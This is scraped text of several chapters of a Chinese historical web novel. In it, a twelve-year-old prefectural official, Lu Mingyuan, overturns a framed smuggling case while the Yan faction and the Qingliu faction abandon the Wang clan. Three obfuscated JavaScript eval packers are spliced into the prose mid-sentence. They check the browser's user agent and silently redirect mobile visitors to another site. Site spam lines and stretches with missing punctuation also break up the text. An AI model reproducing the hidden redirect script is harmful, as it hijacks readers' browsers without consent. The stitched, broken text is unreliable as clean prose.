杜晦之死死地盯着陆明渊。 他感觉自己不是在看一个十二岁的少年,而是在面对一个恐怖的怪物。 那双眼睛太冷了,冷得没有一丝一毫的少年意气。 只有看透世事的漠然与洞穿人心的锋利。 “陆明渊!” 杜晦之的声音嘶哑,每一个字都像是从牙缝里挤出来的。 “你可知你在做什么?你这是在包庇钦犯!是藐视国法!” “本官乃朝廷钦命的温州知府,此案证据确凿,铁证如山,本官维持原判,何错之有!” 他猛地一拍惊堂木,声音高亢。 “林成通倭,人证物证俱在,三个月后,验明正身,依律问斩!绝无更改!” 陆明渊仿佛没有听到他的咆哮,只是淡淡地看着他。 “杜大人,” “此案是构陷。如烟姑娘并非逃跑,而是被**,林成乃是被人蒙骗,而非通倭。” 他指了指桌上那本卷宗,继续说道。 “至于大人所说的铁证,不过是欲加之罪。而本官,不信。” “你不信?” 杜晦之气得笑了起来,笑声尖锐而刺耳。 “你算什么东西?区区一个从六品同知,也敢在本官面前谈信与不信?” “本官信的,是陛下,是朝廷法度。” 陆明渊迎着他的目光,寸步不让。 “奏疏已经送出去了。一封往大理寺,一封往刑部。” “温州府发生如此草菅人命、构陷忠良的大案,想必京中的大人们,会很感兴趣。” 他顿了顿,嘴角勾起一抹冰冷的弧度。 “是非曲直,黑白对错,自有我大乾的朗朗乾坤,自有陛下的圣心独断。” “杜大人,你说呢?” “陛下圣夺”四个字,如同一柄重锤,狠狠地砸在了杜晦之的心口。 他脸上的血色瞬间褪尽,取而代之的是一片死灰。 他明白了,陆明渊从一开始就没打算在温州府这个小池子里跟他纠缠。 他要做的,是把这潭水,彻底搅浑,把天捅破。 他要让京都里那些真正的大人物,都把目光投向这里! 一股夹杂着恐惧的暴怒,瞬间冲上了杜晦之的头顶。 “好!好一个陆明渊!” 他指着陆明渊,手指因为用力而剧烈颤抖。 “你能上奏疏,本官也能上!本官这就以温州知 听说看这本书的人都是很幸运的,分享后你的运气会更棒 府的名义上八百里加急。” “本官要**你冠文伯陆明渊目无上官越权逾矩为通倭贼子张目意图不明!” “本官倒要看看是你这般辩驳能得人心还是我这封疆大吏的泣血陈情 杜晦之几乎是吼出了这句话随即拂袖而去。 陆明渊静静地看着他消失在后堂然后缓缓转身面向堂外那黑压压的人群。 百姓们自发地让开一条道路他们的眼神里有敬畏有担忧但更多的是一种前所未有的信赖与希望。 陆明渊对着众人深深一揖。 “诸位乡亲请回吧。公道会来的。” 夜风吹过卷起他官袍的衣角。 那瘦削的身影在这一刻却仿佛比身后的府衙更加高大。 …… 接下来的五天整个温州府都陷入了一种诡异的平静。 府衙大门紧闭杜知府称病不出。 驿馆之内陆明渊也闭门谢客每日只是读书、写字。 但所有人都知道这平静之下是即将到来的**。 两份截然相反的八百里加急奏疏正以最快的速度驰向遥远的京师。 而在温州城的另一端汪家大宅之内气氛却早已是愁云惨淡。 无数的金银珠宝被装箱无数的密信被写就通过比官驿更快的秘密渠道送往京城一个权势滔天的府邸。 他们唯一的希望就是动用那座最大的靠山将陆明渊这颗眼中钉彻底拔除。 温州府正在等待一场来自京城的宣判。 …… 京师严府。 飞檐斗拱画栋雕梁。 即便是深夜这座府邸依旧灯火通明亮如白昼。 书房内紫檀木桌案上。 一尊三足饕餮纹铜炉正吐着袅袅青烟。 吏部侍郎李世文正躬着身子小心翼翼地将一份来自温州的密信呈给斜靠在太师椅上的那个年轻人。 那年轻人正是当朝内阁首辅严嵩的独子工部尚书人称“小阁老”的严世蕃。 他没有穿官服只是一身宽松的杭绸常服。 一只眼睛微微眯着另一只独眼却闪烁着鹰隼般锐利的光芒。 “小阁老温州汪家来信了。” 李世文的声音里带着一丝压抑不住的兴奋。 “事情似乎比我们想的还要好。” 他将信中的内容简略说了 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 一遍,而后总结道。 “那陆明渊,年少轻狂,不知天高地厚。如今为了一个区区护卫,竟敢敲响鸣冤鼓,状告朝廷命官。” “杜晦之**他包庇下属、越权逾矩、牵扯通倭的奏疏也已经到了通政司。” “证据确凿,人赃并获,这简直是天赐的良机啊!” 李世文越说越是激动。 “只要小阁老您点个头,下官明日一早,便发动相熟的御史言官,一同上疏**。” “届时,三司会审,定能将这陆明渊一撸到底!” “他那个漕海一体总负责的差事,刚好可以换上我们的人!” 他说完,满怀期待地看着严世蕃。 然而,严世蕃却连眼皮都未曾抬一下,只是伸出手指,轻轻捻了捻信纸。 他脸上露出一抹毫不掩饰的鄙夷与不屑。 “天赐良机?” 他终于开口,声音带着一种慵懒的沙哑,却让李世文心头猛地一跳。 “李世文,你跟在我身边,也有七八年了吧?” “是……是,下官蒙小阁老提携……” 李世文不明所以,额头渗出了一层细汗。 “七八年了,看事情还是只看皮**。” 严世蕃冷笑一声,将那封信随手扔在地上,仿佛那是什么污秽之物。 “一群蠢货,办了一件蠢事,到了你嘴里,就成了天赐良机?” 李世文顿时噤若寒蝉,大气也不敢出。 严世蕃这才缓缓坐直了身子,那只独眼中精光爆射,整个书房的温度仿佛都降了几分。 “我问你,陛下为什么要搞‘漕海一体’?” “这……自然是为了……为了解决漕运之弊,充盈国库,利国利民……” 李世文结结巴巴的回答。 “放屁!” 严世蕃毫不客气地骂道。 “是为了跟那帮自诩清流的江南士绅抢银子!是为了绕开他们,把南方的财赋,牢牢抓在自己手里!” “这是国策!是天大的事儿!” 他站起身,踱了两步,冷声道。 “这事儿,对我们,对朝廷,都是天大的好事。” “所以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777311|190310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,陛下一定要弄成,我们,也一定要弄成!” “你以为那个总负责的位置,是谁都能坐的?” “我爹,和徐阶那个老狐狸,为了这事儿,在西苑里吵了三天!” “两人加起来,给陛下推荐了不下几十个人选。” 你的朋友正在书荒,快去帮帮他吧 严世蕃的独眼死死盯着李世文:“陛下一个都不同意!” “直到有人提了那个刚中了状元的小子,陆明渊。陛下,才终于松了口。” “这意思,你还不明白吗?” 严世蕃的声音陡然拔高。 “陛下这是要亲自捧一个人出来!一个跟他徐阶没关系,跟我爹也没瓜葛,只听他自己话的孤臣!” “汪家那帮蠢货,在温州当土皇帝当久了,脑子都坏掉了!” “他们根本不知道这背后的内幕,看不清这盘棋的轻重,还敢用这么蠢的计谋去设计陷害陆明渊?” “当温州的锦衣卫都是**吗?” “蠢!蠢不可及!” 严世蕃一脚将那封信踩在脚下,碾了碾。 李世文的脸色已经煞白如纸,冷汗顺着鬓角流下,他终于明白了自己错得有多离谱。 “小阁老……那……那我们现在该怎么办?” 严世蕃重新坐回椅子上,端起茶杯,吹了吹浮沫,慢条斯理地说道。 “你以为,杜晦之的奏疏到了通政司,陆明渊的奏疏就没到?” “我告诉你,温州府锦衣卫百户所的密报,恐怕早在三天前,就已经摆在了陛下修仙的丹房里。” “这案子的原委,陛下心里,比谁都清楚。” 他呷了一口茶,眼中闪过一丝狠厉。 “这个时候,我们要是跳出去踩陆明渊,你猜陛下会怎么想?” “陛下……陛下会认为,我们和汪家是一伙的,想要合起伙来,破坏他的‘漕海一体’大计……” 李世文颤声说道。 “还不算太笨。” 严世蕃放下茶杯,“动国策,就是动陛下的命根子,谁碰谁死。” 他看着李世文,一字一顿地说道。 “所以,这个时候,我们不仅不能踩他,还要帮他,要支持他!” “要让陛下看到,我们严党,是和他站在一起,是坚决拥护国策的!” 李世文恍然大悟,随即又有些迟疑。 “可是……汪家那边,每年孝敬的银子可是有十多万,就这么丢了?” “十多万两?” 严世蕃嗤笑一声,眼神里满是看**的冷漠。 “一条快要沉的破船,还想要银子?他们自己找死,难道还要拉着我们一起陪葬?” 他站起身,走到窗边,看着外面沉沉的夜色,声音变得冰冷而果决。 “传我的话下去。” “从今天起,断绝和温州汪家的一切联系。” “另外,让罗文龙那边动一动,把杜晦之那份**的奏疏,‘不小心’地递到徐阶的桌子上去。” 李世文浑身一震,瞬间明白了这步棋的恶毒。 把**陆明渊的奏疏给清流领袖徐阶,徐阶若是为了打击严党扶持的汪家而保下陆明渊,那陆明渊就承了清流的情。 徐阶若是不管,任由陆明渊被攻讦,那就会失了天下士子的心。 无论怎么选,都是一步妙棋! “至于汪家……” 严世蕃的声音里不带一丝感情。 “就当是我们送给陆明渊,送给陛下的一个投名状吧。” “一个不成器的东西,也该到他发挥最后一点用处的时候了。” 第221章 严党的人,竟然为陆明渊说话? 与此同时,京师皇城之西,一座并不如何起眼的府邸内,却是另一番光景。 这里是裕王府。 与严府那恨不得将富贵二字刻在门楣上的张扬不同,裕王府显得内敛而清静。 空气中没有龙涎香的甜腻,只有淡淡的书卷墨香与庭院中老槐树散发的沉静气息。 书房内,光线柔和。 几位大乾朝堂上足以跺脚引得官场震动的人物,正围坐一处,神情却远不如这环境来得轻松。 “糊涂!愚蠢至极!” 兵部尚书张居正,脸上满是压抑不住的怒意。 他手中捏着一封同样来自温州的信,指节因为用力而微微发白。 “这个杜晦之,当真是个看不清大局的蠢物!我当初怎么会举荐他去浙江!” 他将信纸拍在桌上,发出“啪”的一声闷响,惊得窗外枝头的雀鸟扑棱棱飞走。 “‘漕海一体’是什么?那是国策,是陛下近年来唯一铁了心要办成的大事!” “是为了绕开江南那些盘根错节的士绅门阀,将财赋大权收归中枢!” “陆明渊是谁?他是陛下亲自点将,派去浙江的一支箭!杜晦之他难道眼瞎了吗?” “在这个节骨眼上,为了讨好一个地方豪族,竟敢给陆明渊下绊子,拖国策的后腿!” 张居正越说越是气愤,胸口剧烈起伏。 “他这是想干什么?是想把‘漕海一体’这锅好不容易烧热的汤彻底搅凉吗?” “一旦此事出了岔子,惹得陛下龙颜暴怒,我们清流一脉,就再也别想往这桩天大的差事里,安**一个自己人了!” 一旁,须发皆白,面容清癯的内阁次辅徐阶,静静地听着,眼神古井无波。 直到张居正发泄完了,他才缓缓端起茶杯,轻轻吹了吹气,动作不疾不徐。 “叔大,稍安勿躁。” 徐阶的声音很轻,却带着一种安抚人心的力量。 他放下茶杯,目光落在张居正身上。 “你说的,我都明白。杜晦之此人,有小才而无大略,守成尚可,开创不足。” “将他放在温州这个风口浪尖上,确实是老夫当初失察了。” 他没有推卸责任,反而坦然承认,这让张居正的怒火稍稍平息了一些。 “既然是错棋,那便及时纠正。” 徐阶的语气依旧平缓。 你亲自写一封信给杜晦之,将这其中的利害关系,掰开了,揉碎了,讲给他听。” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 “另外,老夫会亲自上一封奏疏,向陛下请罪,言明自己举荐失察之过,请调杜晦之往山东,出任一府知府。 他顿了顿,眼中闪过一丝不易察觉的冷光。 “若是他看了你的信,还执迷不悟,不肯主动上书请辞,那便证明此人已是无可救药的蠢货。 “到那时,老夫便亲自入西苑面圣,以失察之名,也要将他从温州知府的位置上,硬生生拉回来! “这种人,多留一天,便多一分祸患,我们用不起,也等不起。 “徐阁老英明! 户部尚书高拱瓮声瓮气地开口,他性子火爆,早就等不及了。 “依我看,光是调走一个杜晦之还不够! 他一拍大腿,眼神锐利如刀。 “最近这些天,上疏**陆明渊的,除了杜晦之,还有几个浙江籍的御史言官。 “我查过了,这些人背后,都与温州汪家有着千丝万缕的联系! “汪家是什么货色?世代盘踞温州,暗中与倭寇勾连,走私牟利,早已是人尽皆知! “这次构陷陆明渊,更是罪证确凿! “陛下既然摆明了要栽培陆明渊这柄利剑,汪家这块又臭又硬的绊脚石,就是自己撞到了刀上! “我敢断言,此刻浙江提刑按察使司,乃至浙江的锦衣卫千户所,案头上堆着的,定然全是汪家的罪证,只等一个时机罢了! 高拱的声音陡然拔高,带着一股狠厉。 “严党那边,那个礼部侍郎李世文,与汪家的关系更是莫逆!我们何不趁此机会,顺藤摸瓜,将火烧得再旺一些! “将汪家这颗毒瘤连根拔起,顺便把严党安插在吏部的这颗钉子也给撬了 “前有裴宽,后有李世文,我就不信陛下这次还要保下他严党! “如此一来,既是为陆明渊清除了障碍,也是为陛下清扫了国策推行的阻力! 书房内一时陷入了沉默,只有张居正和徐阶眼中闪烁的精光,昭示着他们内心的不平静。 一直沉默不语的裕王,此时终于缓缓开口。 他虽然贵为亲王,但面对这几位朝廷重臣,依旧保持着足够的谦逊。 “三位先生所言,皆是老成谋国之言。便依徐阁老的计策行事吧。 他的声音温和,却自有一股皇室子孙的威仪。 “对了,还有一事。 裕王似乎想起了什么,继续说道。 “孤前几日听闻, 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 陆明渊在温州上了一道关于开辟商路的折子,父皇似乎已经准了。” “而且,他还正在温州筹备一个什么‘荣兵商会’,据说是用退伍的老兵组建而成。” “此事颇为新奇,也请先生们派人去浙江,好生探查一番,弄清楚究竟是怎么回事。” 徐阶、张居正、高拱三人闻言,对视一眼,心中皆是一凛。 十二岁的少年,在官场风暴的中心,不仅没有丝毫慌乱,反而已经开始布局自己的商路和势力了? 这个陆明渊,当真……深不可测。 …… 三日后。 京师,奉天门。 晨光熹微,文武百官身着朝服,序列井然,穿过长长的御道,步入金銮殿。 大殿之内,空旷而威严,雕龙画凤的梁柱高耸入云,巨大的盘龙金柱在晨光中泛着冷硬的光泽。 百官垂首肃立,气氛庄严肃穆,落针可闻。 御座之上,那道身影隐在珠帘之后,模糊不清,却散发着足以笼罩整个天下的无上威压。 “有事早奏,无事退朝——” 随着内侍尖细的唱喏声,一名身穿獬豸补服的官员自队列中走出,手持**笏板,躬身出列。 正是都察院左都御史。 “臣,都察院左都御史,有本启奏!” 他的声音洪亮,回荡在金銮殿内。 “臣,**新科状元、冠文伯、温州府同知陆明渊!” 此言一出,朝堂之上顿时起了一阵细微的骚动。来了,终究还是来了。 “臣闻,陆明渊年少狂悖,不知礼数。至温州府上任伊始,便目无上官,越权逾矩!” “更为甚者,其下属护卫林成,牵扯通倭大案,人证物证俱在,陆明渊却罔顾国法,强行干预,包庇下属,意图不明!” “温州乃海防重镇,通倭乃动摇国本之大罪!陆明渊此举,极易引人非议,动摇民心!” “为避通倭之嫌,为正朝廷法度,臣恳请陛下圣裁,下旨将陆明渊即刻调离温州,交由三法司会审,以儆效尤!” 都御史一番话说得是义正辞严,掷地有声。 清流一派的官员们纷纷低下头,心中暗自盘算,等着看徐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777312|190310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阶阁老如何应对。 而严党一系的官员,则大多露出了幸灾乐祸的神情。 然而,就在此时,一个谁也没想到的身影,从严党阵中站了出来。 吏部尚书李文德。 他是严嵩的铁杆心腹,是严党在六部中的擎 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 天之柱。 所有人都以为他会落井下石,再踩上一脚。 可他一开口,却让整个金銮殿都为之一静。 “臣,李文德,有不同之见!” 吏部尚书李文德的声音沉稳有力,他转向都御史,朗声反驳道。 “都御史所言,恐有偏颇!据臣所知,温州通倭一案,漏洞百出,诸多关节,皆不合常理。” “所谓人证,不过是码头力工;所谓物证,更是凭空捏造!此案,构陷之迹,昭然若揭!” “陆明渊身为朝廷命官,面对如此草菅人命、构陷忠良之**,不畏强权,为民**。” “此乃我大乾臣子之楷模!何来包庇之说?何来越权之举?” “臣以为,此事非但不能处罚陆明渊,反而应当嘉奖其风骨!” “陛下更应派遣钦差,严查此案,将温州府内构陷忠良、意图破坏‘漕海一体’国策的宵小之辈,尽数揪出,以正视听!” 这番话,如同一记惊雷,在朝堂上炸响! 严党的人,竟然在为陆明渊说话? 站在队列中的张居正,在最初的错愕之后,眼中瞬间闪过一丝明悟。 他猛地抬起头,看向对面严党阵营中那个身材高大、独目精光闪烁的身影——严世蕃! 弃车保帅! 不,这甚至不是弃车,这是断尾求生! 严党这是要将汪家和杜晦之这两个已经暴露的棋子,当成垃圾一样彻底抛弃。 以此保全“漕海一体”这条主线,向陛下表明他们坚决拥护国策的立场! 好狠的手段! 好快的决断! 电光火石之间,张居正已然想通了所有关窍。 他不再犹豫,立刻从队列中走出。 “臣,张居正,附议吏部尚书李文德之言!” 他先是对着御座深深一揖,而后朗声道。 “温州府地处海防要冲,其稳定与否,关乎我大乾东南半壁江山!” “如今,府内势力错综复杂,竟发生构陷陛下亲封之冠文伯、当朝状元郎的惊天大案,其背后必然隐藏着巨大的阴谋!” “臣恳请陛下,彻查温州!不但要查通倭案,更要查这构陷案背后的势力,查一查究竟是何人,胆敢如此胆大包天,对抗朝廷,阻挠国策!” 张居正话音刚落,严世蕃便也缓缓踱步出列,他那只独眼扫过全场,带着一丝慵懒的笑意。 “臣,严世蕃,附议。” 朝堂之上,死一般的寂静。 所有人都被这神仙打架般的场面惊得说不出话来。 严党与清流,这两大斗得你死我活的势力,今日,竟然在**陆明渊的朝堂上,达成了惊人的一致! 他们共同的目标,都指向了——彻查温州! 御座的珠帘之后,长久的沉默之后,终于传来了一个苍老而威严,不带一丝一毫感情的声音。 “准。” 只有一个字。 “传朕旨意。” “着,北镇抚司百户朱四,亲领缇骑,即刻赶赴温州,严查通倭一案。” “凡有牵涉者,无论官阶,无论背景……” 那声音顿了顿,一股森然的寒意,瞬间笼罩了整个金銮殿。 “……严惩不贷,一体拿下!” 第222章 从今往后,浙江,再无汪家! 三日后,温州府。 一队身着飞鱼服、腰佩绣春刀的缇骑,簇拥着一道明黄的圣旨,踏入了府衙大门。 为首之人,正是锦衣卫百户朱四。 他面容冷峻,眼神如鹰隼般锐利,虎背蜂腰螳螂腿,显然是横练功夫练到了极致。 知府后衙的书房内,杜晦之面如死灰。 他的面前,摊开着两封信。 一封,是兵部尚书张居正的亲笔信;另一封,是他刚刚写好,墨迹未干的请罪奏疏。 张居正的信,字字如刀,句句见血。 信中没有一句安慰,只有冰冷的质问与毫不留情的斥责。 “蠢物、“错棋、“自毁长城 杜晦之看着这些字眼,只觉得浑身发冷。 他直到此刻才真正明白,自己究竟犯了怎样一个天大的错误。 他以为自己是在为清流一脉清除一个背景不明的“异类。 是在为严党送上一份攻讦的把柄,是在讨好地方豪族以稳固自己的地位。 他以为自己左右逢源,算无遗策。 可他错了。 他错在没有看清,陆明渊根本不是什么“异类,他是皇帝射向江南的箭! 他更错在没有看清,“漕海一体这四个字,在当今陛下的心中,究竟是何等分量! 无论是清流还是严党,在这项国策面前,都必须保持高度的一致。 谁敢阻挠,谁就是与整个朝廷为敌! 他杜晦之,就是那个蠢货。 “完了……全完了…… 他喃喃自语,眼中最后一丝神采也彻底黯淡下去。 他赌严党会趁机发难,将陆明渊调离温州的计划,彻彻底底地失败了。 严党非但没有落井下石,反而比清流还要积极地为陆明渊“**。 这记耳光,打得他眼冒金星,也打醒了他的痴心妄想。 他现在唯一能做的,就是像张居正信中所说的那样,主动上书请罪。 言明自己“举荐失察、“治理无方,以换取一个体面的退场。 门外,亲随颤抖的声音传来:“大人,锦衣卫……锦衣卫朱百户带着圣旨,请陆同知接旨。 杜晦之身子一颤,缓缓闭上了眼睛。 而在另一边的官署内,陆明渊身着青色官袍,神情平静地跪接了圣旨。 当朱四亲自将那卷明黄的丝绸递到他手中时,这位以心狠手辣著称的锦衣卫百户,脸上却带着一丝异样 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 的恭谨。 “陆大人” 朱四的声音压得很低却清晰无比。 “临行前陆指挥使有令陛下也有口谕。到了温州一切听陆大人的。” 他顿了顿眼神扫过窗外仿佛能看到这座城市中盘根错节的阴影。 “浙江三大世家汪、徐、沈。如今要办的是构陷大人您的通倭案。” “先查谁先动谁如何动陛下和指挥使的意思是全凭大人一言而决。” 陆明渊手捧着尚有余温的圣旨心中一片澄明。 他明白了。 从清流到严党从内阁到司礼监再到御座之上的天子。 在“漕海一体”这件事上他们达成了一种诡异的默契。 而自己就是这个默契的核心。 他们需要一把足够锋利又足够没有牵挂的刀去劈开江南这团乱麻。 而汪家就是他们送给自己的第一块磨刀石。 “有劳朱百户。” 陆明渊缓缓起身十二岁的身躯在宽大的官袍下显得有些单薄但他的眼神却沉静得如同深潭。 “此次构陷本官意图阻挠国策推行的便是温州汪家。既然要查便从根上查起吧。” “明白!” 朱四干脆利落地抱拳领命没有一丝一毫的犹豫。 他转身便走带着一股凛冽的杀气直奔温州锦衣卫千户所。 一场席卷温州的**已然在酝酿之中。 又是三日后朝廷的调令正式下达。 温州知府杜晦之上奏“失察”被调往山东任知府即日启程。 在新任知府抵达之前温州府一切大小事务暂由同知陆明渊代管。 一纸文书轻描淡写。 却让整个温州官场为之震动! 一个十二岁的少年在短短不到一个月的时间里不仅从一场必死的杀局中全身而退 将知府与同知之权尽握于一人之手! 整个温州此刻只剩下他一个人的声音。 陆明渊没有浪费任何时间。他暂代知府的第一天便连下三道政令。 其一即刻筹备重开荒废已久的京杭大运河浙江段水道。 以温州为起点组建官督商办的船队将温州府积压的丝绸、瓷器、茶叶等货物沿河北上直通京师辐射沿途各大重镇! 其二颁布《招商令》凡来温州经商者无论籍贯无论大小 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 ,府衙皆提供便利。 前三年,商税减半!府衙还将成立专门的“商事房”,为所有商人解决**,提供庇护! 其三,以府衙名义,正式成立“荣兵商会”,招募温州卫乃至浙江都司的退伍老兵,充作护卫。 所有在温州府备案的商队,提供武装护航服务,确保商路畅通无阻! 三道政令一出,整个温州城都沸腾了。 那些原本还在观望的商户、士绅,无不被陆明渊这雷厉风行的手段和闻所未闻的举措所震惊。 他们第一次发现,原来官府,不只是会收税和抓人,还可以这样做事! 一时间,沉寂的温州城,仿佛被注入了一股全新的活力。 无数双眼睛,都聚焦在了那个坐在知府大堂最高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777313|190310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处的少年身上。 七天后,夜。 温州城内,一片死寂。 无数火把,如同一条条游走的火龙,照亮了汪家那一座座鳞次栉比的豪宅与店铺。 飞鱼服,绣春刀,锦衣卫冰冷的面孔,成了所有汪家人最后的噩梦。 在朱四的亲自指挥下,锦衣卫以雷霆万钧之势,查抄了汪家在温州城内外的所有产业。 一箱箱的账本被抬出,上面密密麻麻记录着他们勾结倭寇、走私违禁、鱼肉乡里、兼并土地的罪证。 这些证据,一部分来自锦衣卫的暗中侦查。 另一部分,则“恰到好处”地由浙江另外两大世家派人送到了朱四的案头。 罪名累计一百一十七项,涉事汪家族人、门客、管事,共计三百四十二人。 除了二十余名嫡系消失外,其余人等,尽数被捕入狱,无一漏网。 曾经在温州横行百年,连知府都要礼让三分的汪家,一夜之间,轰然倒塌,被连根拔起! 温州的天,亮了。 也是在这一夜,两顶不起眼的小轿,一前一后,停在了陆明渊的府邸门前。 来访的,是陈家和沈家的当代家主。 书房内,烛火通明。 陆明渊坐在主位上,安静地听着两位家主用最谦卑的言辞。 “陆大人少年英才,乃国之栋梁。我等身为大乾子民,深受皇恩,理应为国分忧。” 陈家家主须发皆白,语气却无比诚恳。 “汪家倒行逆施,实乃我浙江士林之耻。如今大人为其正法,我等无不拍手称快。” “为表寸心,也为支持大人清缴倭寇,还东南一片朗朗乾坤,我陈家,愿捐出白银五十万两,以充军费!” 一旁的沈家家主见状,连忙接口道:“我沈家,亦愿捐出白银五十万两!但凭大人调遣,绝无二话!” 一百万两白银! 这笔足以让户部尚书高拱笑得合不拢嘴的巨款,就这么轻飘飘的,被放在了陆明渊的面前。 这哪里是捐款,这分明是投名状,是买路钱! 陆明渊看着眼前这两位几乎可以做自己曾祖父的老人,脸上依旧是那副古井无波的神情。 他缓缓端起茶杯,轻轻吹了吹漂浮的茶叶。 “两位老先生,有心了。” 他的声音很轻,却带着不容置疑的分量。 “这笔银子,本官便代朝廷,代温州百姓,代东南沿海所有受倭寇所苦的军民,收下了。” 他放下茶杯,目光落在二人身上,温和却又锐利。 “漕海一体,乃是国策,更是大势。顺之者昌,逆之者亡。” “本官希望,温州只有一个汪家。也希望,从今往后,浙江,再无第二个汪家。” 徐、沈两位家主闻言,心中剧震,连忙俯身长揖到底,额头上已是冷汗涔涔。 “大人明鉴,我等……谨遵钧命!” 第223章 本官今日来,只问你两个问题 陆明渊缓缓开口。 “夜深了,两位老先生请回吧。明日,温州还有许多事要劳烦二位。 “不敢,不敢,为大人分忧,乃我等分内之事。 陈、沈两位家主如蒙大赦,再次长揖,这才颤颤巍巍地直起身。 彼此对视一眼,看到了对方眼中的惊惧与庆幸。 他们小心翼翼地后退,躬着身子退出了书房。 府邸外,夜风微凉,吹在两人汗湿的后背上,激起一阵寒意。 那股在书房中几乎让他们窒息的压力,直到此刻才稍稍散去。 “陈兄,上我的轿子吧,有几句话,想与你商议。 沈家家主压低了声音,花白的胡须在风中微微颤动。 陈家家主点了点头,没有拒绝。 两顶小轿,来时一前一后,去时却只动了一顶。 另一顶轿子的轿夫,则悄无声息地跟在后面。 狭窄的轿厢内,光线昏暗,只能勉强看清彼此的轮廓。 那股从陆府带出来的凉气,似乎还萦绕在两人心头。 “沈兄,你怎么看? 陈家家主率先打破了沉默,声音里带着一丝劫后余生的沙哑。 沈家家主长长地叹了一口气,靠在轿壁上。 “还能怎么看?长江后浪推前浪,我等这些前浪,怕是要被拍死在沙滩上了。 “这位陆大人……不,这位冠文伯,其心智之深,手段之厉,行事之决绝,哪里像个十二岁的少年? 陈家家主深有同感地点了点头,苦笑道。 “汪家……真是死得不冤。他们以为自己是在跟一个初出茅庐的少年郎斗,却不知自己是螳臂当车,挡了朝廷国策。 “只是,这位陆大人今夜召我二人前来,又收下那笔‘捐款’,其意…… “其意,自然是要我等彻底站队。 沈家家主接过了话头,眼神在黑暗中闪烁着精明的光。 “汪家倒了,他需要新的合作者来推行他的政令,稳住温州的局面。 “而我陈、沈两家,便是最好的选择。那一百万两白银,既是投名状,也是买路钱。 “给了,我们就是‘顺之者昌’;不给,恐怕浙江很快就要有第三个汪家了。 轿厢内再次陷入了沉默。 一百万两,对于任何一个世家而言,都不是一笔小数目。 这几乎是他们家族数年乃至十年的净利,是压箱底的根本。 过了 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 许久,陈家家主才缓缓开口,语气中带着一丝不易察觉的挣扎。 “沈兄,这笔钱,我们当真要全数给了?这位陆大人虽然手眼通天,圣眷正浓,可毕竟年岁太小。 “‘漕海一体’这国策,听着是好,可江南水深,盘根错节,谁知道会不会有什么变数? “万一……万一他哪天被调走了,或者这事办砸了,我们这一百万两,可就打了水漂了。 这才是他真正担心的地方。 世家大族,最擅长的便是投资,也最懂得如何规避风险。 将全部身家押在一个十二岁的少年身上,这赌注太大了。 沈家家主闻言,嘴角在黑暗中勾起一抹弧度。 “陈兄所言,正是我所想。鸡蛋,不能放在一个篮子里。 “这位陆大人,我们既要交好,也不能将自己绑得太死。 他凑近了一些,声音压得更低了。 “依我之见,我两家,可先各出十万两白银,明日便送到府衙。 “名义上,就说是先期筹措的军费,以示我等的诚意。至于剩下的四十万两,便说正在从各地产业中抽调,需要些时日。 “接下来,我们可以每个月,再各‘筹措’一万两送去。如此一来,既给了陆大人面子,也给了他实打实的支持,足以让他应付眼下的局面。 “我们可以借此观望。 “若是他真有通天之能,能将这‘漕海一体’办得风生水起,清缴倭寇,开通商路,让我等看到实实在在的利益。 “那剩下的银子,别说四十万,便是再加四十万,老夫也心甘情愿! “可若是……他中途受挫,或是被朝中风浪波及,我等也不过花了十几万两,买个平安。 “交好一位前途无量的少年宰辅,这笔买卖,怎么算都不亏! 陈家家主听完,浑浊的眼睛瞬间亮了起来。 “妙!实在是妙! 他一拍大腿,“如此一来,进可攻,退可守,我等便立于不败之地了! “就这么办!明日一早,我便让管家将十万两银票送去! “英雄所见略同。 沈家家主靠回了轿壁,心中一块大石终于落地。 轿厢外的夜色,似乎也不再那么冷了。 …… 次日清晨,陆明渊刚刚在府衙后堂用完早膳,陈、沈两家的管家便联袂而至。 没有大张旗鼓的银箱,只有两个精致的檀木盒子。 你的朋友正在书荒,快去帮帮他吧 盒中,是二十万两的银票,来自大乾最大的票号,见票即兑。 “我家老爷说,陆大人为国为民,我等商绅理应倾力相助。” 陈家管家躬身道。 “这十万两,是小人连夜筹措来的第一笔军费,以解大人燃眉之急。” “剩下的四十万两,我家老爷已在加紧从各处庄子和铺子里抽调,只是数目巨大,还需些时日。” 